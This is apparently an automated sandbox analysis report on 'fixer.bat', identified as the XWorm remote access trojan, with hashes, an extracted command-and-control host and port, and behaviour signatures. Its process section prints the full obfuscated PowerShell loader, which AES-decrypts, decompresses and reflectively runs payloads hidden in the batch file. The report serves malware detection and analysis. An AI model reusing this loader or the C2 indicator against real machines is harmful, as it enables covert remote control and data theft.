Overview

overview

10

Static

static

1

fixer.bat

windows10-ltsc 2021-x64

10

Resubmissions

01-12-2024 17:49

241201-wd91zaskbr 10

01-12-2024 17:46

241201-wcqkyaxmaw 10

01-12-2024 17:37

241201-v7ftjsxlcv 10

Analysis

  • max time kernel
    14s
  • max time network
    17s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    01-12-2024 17:49

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General

  • Target

    fixer.bat

  • Size

    259KB

  • MD5

    63f3ebe3fe598479517c1843d1f05944

  • SHA1

    4aaeed78293c47805595957cc3fa71d5fdd07d15

  • SHA256

    48b14d5f105efa0097cc24de8bbf0c334da58906addc06a9a42fe8274d8759e2

  • SHA512

    12d5f9c569812a7cef6838c64414757689ee811aecfbc21465b36c0bcecb755b8d75a5f5663bbc5e7d102532ed64cc788b370a00464869044e8576699d0b1e7b

  • SSDEEP

    6144:SIujxg7ViKrBi4Jya9IlvpPxmbkdtEGQQ9ZGeRFBc81tx4Z:m8VTrBiuEpYI3EQzJRFB5GZ

Score
10/10
xwormexecutionrattrojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

cheflilou-43810.portmap.host:43810

Mutex

q2m91QtHDnjEQolK

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fixer.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3500
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLcV5Di0lrYzeB8Z5oXuvc+IYrKKIGk30pV1obfMeT4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8hV4bFs+GCRTAu0FDqlpAg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $JhDGU=New-Object System.IO.MemoryStream(,$param_var); $kMVbR=New-Object System.IO.MemoryStream; $mBSnP=New-Object System.IO.Compression.GZipStream($JhDGU, [IO.Compression.CompressionMode]::Decompress); $mBSnP.CopyTo($kMVbR); $mBSnP.Dispose(); $JhDGU.Dispose(); $kMVbR.Dispose(); $kMVbR.ToArray();}function execute_function($param_var,$param2_var){ $fmLYa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $hvYPj=$fmLYa.EntryPoint; $hvYPj.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\fixer.bat';$TAymA=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\fixer.bat').Split([Environment]::NewLine);foreach ($kvbgu in $TAymA) { if ($kvbgu.StartsWith(':: ')) { $IkiFk=$kvbgu.Substring(3); break; }}$payloads_var=[string[]]$IkiFk.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4572

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ogktegfl.fts.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/4572-0-0x00007FFC6F2B3000-0x00007FFC6F2B5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/4572-1-0x000001ED536E0000-0x000001ED53702000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4572-11-0x00007FFC6F2B0000-0x00007FFC6FD72000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4572-12-0x00007FFC6F2B0000-0x00007FFC6FD72000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4572-13-0x00007FFC6F2B0000-0x00007FFC6FD72000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4572-14-0x000001ED53780000-0x000001ED53788000-memory.dmp

    Filesize

    32KB

    Download

  • memory/4572-15-0x000001ED55BA0000-0x000001ED55BD2000-memory.dmp

    Filesize

    200KB

    Download

  • memory/4572-16-0x000001ED55BD0000-0x000001ED55BDE000-memory.dmp

    Filesize

    56KB

    Download

  • memory/4572-19-0x00007FFC6F2B0000-0x00007FFC6FD72000-memory.dmp

    Filesize

    10.8MB

    Download